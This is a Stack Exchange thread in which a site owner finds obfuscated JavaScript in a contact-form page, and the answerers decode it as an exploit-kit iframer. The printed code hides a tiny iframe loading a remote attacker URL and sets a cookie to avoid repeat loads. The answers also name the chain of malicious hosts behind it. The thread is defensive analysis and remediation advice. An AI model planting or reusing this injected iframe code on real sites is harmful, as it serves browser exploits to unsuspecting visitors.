At the bottom of the index.php file for a simple “contact us” form, I found the following (some whitespace and newlines added):

try {if(window.document)--document.getElementById('12')}
catch(qq) {if(qq!=null)ss=eval("St"+"ring");}

Anyone know what this code does? Is this likely to be an expected part of the page, or is it a sign that the website has been hacked?

  • 4
    Yes probably that site got "hacked"
    – PeeHaa
    Aug 10, 2013 at 10:35
  • 1
    No it is not hacked, it is obfuscation, so that you will not understand what it does. Search on google for JavaScript Obfuscation.
    – Akash Kava
    Aug 10, 2013 at 10:36
  • 3
    @AkashKava That doesn't mean the site wasn't hacked.
    – Marcin
    Aug 10, 2013 at 10:39
  • How can I safely test that code, to see what it does?
    – Edward
    Aug 10, 2013 at 10:41
  • 2
    @Edward: replace the last eval with console.log.
    – thg435
    Aug 10, 2013 at 10:42

3 Answers 3


I found out what it does (please be lenient with me, I am not a javascript developer)

What can be easily seen, is that the script invokes String.fromCharCode() on the numbers present on the a string to create a new String, and execute it. The code the a string get's translated to is:

function zzzfff() {
 var klccr = document.createElement('iframe');

 klccr.src = 'http://ninoromano.it/DNGJxdCW.php';
 klccr.style.position = 'absolute';
 klccr.style.border = '0';
 klccr.style.height = '9px';
 klccr.style.width = '7px';
 klccr.style.left = '1px';
 klccr.style.top = '1px';

 if (!document.getElementById('klccr')) {
 document.write('<div id=\'klccr\'></div>');

function SetCookie(cookieName,cookieValue,nDays,path) {
 var today = new Date();
 var expire = new Date();
 if (nDays==null || nDays==0) nDays=1;
 expire.setTime(today.getTime() + 3600000*24*nDays);
 document.cookie = cookieName+"="+escape(cookieValue)
 + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");

function GetCookie( name ) {
 var start = document.cookie.indexOf( name + "=" );
 var len = start + name.length + 1;
 if ( ( !start ) &&
 ( name != document.cookie.substring( 0, name.length ) ) )
 return null;
 if ( start == -1 ) return null;
 var end = document.cookie.indexOf( ";", len );
 if ( end == -1 ) end = document.cookie.length;
 return unescape( document.cookie.substring( len, end ) );
if (navigator.cookieEnabled)
if(GetCookie('visited_uq')==55){}else{SetCookie('visited_uq', '55', '1', '/');


Now, I am not sure about that (remember I am no javascript developer) but it seems to be code that steals cookies (session hijacking perhaps)?


On further research:

  • The script is checking if there is a specific cookie present (Name: "visited_uq", Content: "55", URL: "<current_url>", Path: "/", Expires: "24 hours after creation") and if it is not it creates it.
  • It then creates a new element in the document, which it modifies to make it very difficult to notice (7 pixels width, 9 pixels height), and which runs a php script available at http://ninoromano.it/DNGJxdCW.php. If you visit this, it returns "ok" and nothing else in the page's code (the domain appears to be compromised). (I can't get any more information beyond that)

Most likely it is a session hijacking attempt.

  • fiddle: jsfiddle.net/YkDWJ
    – Vlad
    Aug 10, 2013 at 11:11
  • Since this was in a index.php for a "contact us" form, what might be useful to a hacker to do session hijacking? Might it intercept the context if what the user filled out in the Contact Us form?
    – Edward
    Aug 10, 2013 at 11:22
  • Thanks. I didn't know about Security.StackExchange.
    – Edward
    Aug 10, 2013 at 11:29
  • I'm sorry, but this is incorrect. This is the iframe-loading stage of many infamous exploit kits; the cookie methods are simply to ensure that users don't load the iframe more than once.
    – Anorov
    Aug 11, 2013 at 16:59
  • @Anorov sorry, I didn't know about that one. I am by no means a security expert, and I also don't know anything web related (I'm a kernel hacker/compiler engineer). Feel free to edit my answer to correct it. :) Aug 12, 2013 at 7:26

The first time you run it, the script creates an iframe pointing at ninoromano.it. It then creates a cookie so that on subsequent times you load it, it doesn't run again.

The iframe is a browser exploit script. If you view it in a browser that it doesn't know about you just get the 'ok' string, but if you load it in, say, an older copy of IE, you get a whole bunch of exploits to infect your machine.

The site got hacked (and so did ninoromano by the looks of it). A common source of this kind of infection is client-side malware stealing server account passwords (often the same malware served by the exploits!). Whoever is responsible needs to scan all client machines that have accessed the server with multiple AVs (because AVs aren't very reliable); reinstall any infected clients from scratch; choose new server passwords; reinstall the server from scratch.


What you are looking at is a packed (obfuscated) version of an exploit kit "iframer". "iframer" just means a snippet of Javascript that will load an external iframe; in most cases the iframe will point to some part of a chain that will eventually load a browser exploit kit.

(Obviously do not directly visit any of the below links.)

If you make a request to the exploit kit landing page, hxxp://ninoromano.it/DNGJxdCW.php with a valid referer and an IE user-agent, you will be redirected to another URL.

This is the redirection stage; ninoromano.it in this case is likely part of a "TDS", traffic distribution system: its job is to split traffic to different exploit kit landing pages (or sometimes generic spamvertising) based on the referer, and sometimes the country of the client.


The loaded URL has a pattern similar to hxxp://innocuus.myseniorbook.com:801/lace_poet_prolonged.htm. Here is its content.


Just by looking at that page, I already recognize this as the "Cool Exploit Kit". You can learn details about this exploit kit in various places:

http://www.avgthreatlabs.com/virus-and-malware-information/info/cool-exploit-kit/ http://malware.dontneedcoffee.com/2012/10/newcoolek.html http://malware.dontneedcoffee.com/2013/07/a-styxy-cool-ek.html

Another iframe is loaded by the landing page, hxxp://innocuus.myseniorbook.com:801/who-solely_sex_painting.html

This iframe contains the bulk of the actual malicious code. It attempts various exploits, primarily Java exploits, all of which will download and execute a malicious payload.

http://urlquery.net is a fantastic site for automating this kind of analysis. Just be sure to set an IE user-agenet and some sort of referer each time.

Many different exploit kits use that flavor of JS packer you are seeing at the bottom of the page. If you see any code that looks like that, you can assume it is very malicious.

You must log in to answer this question.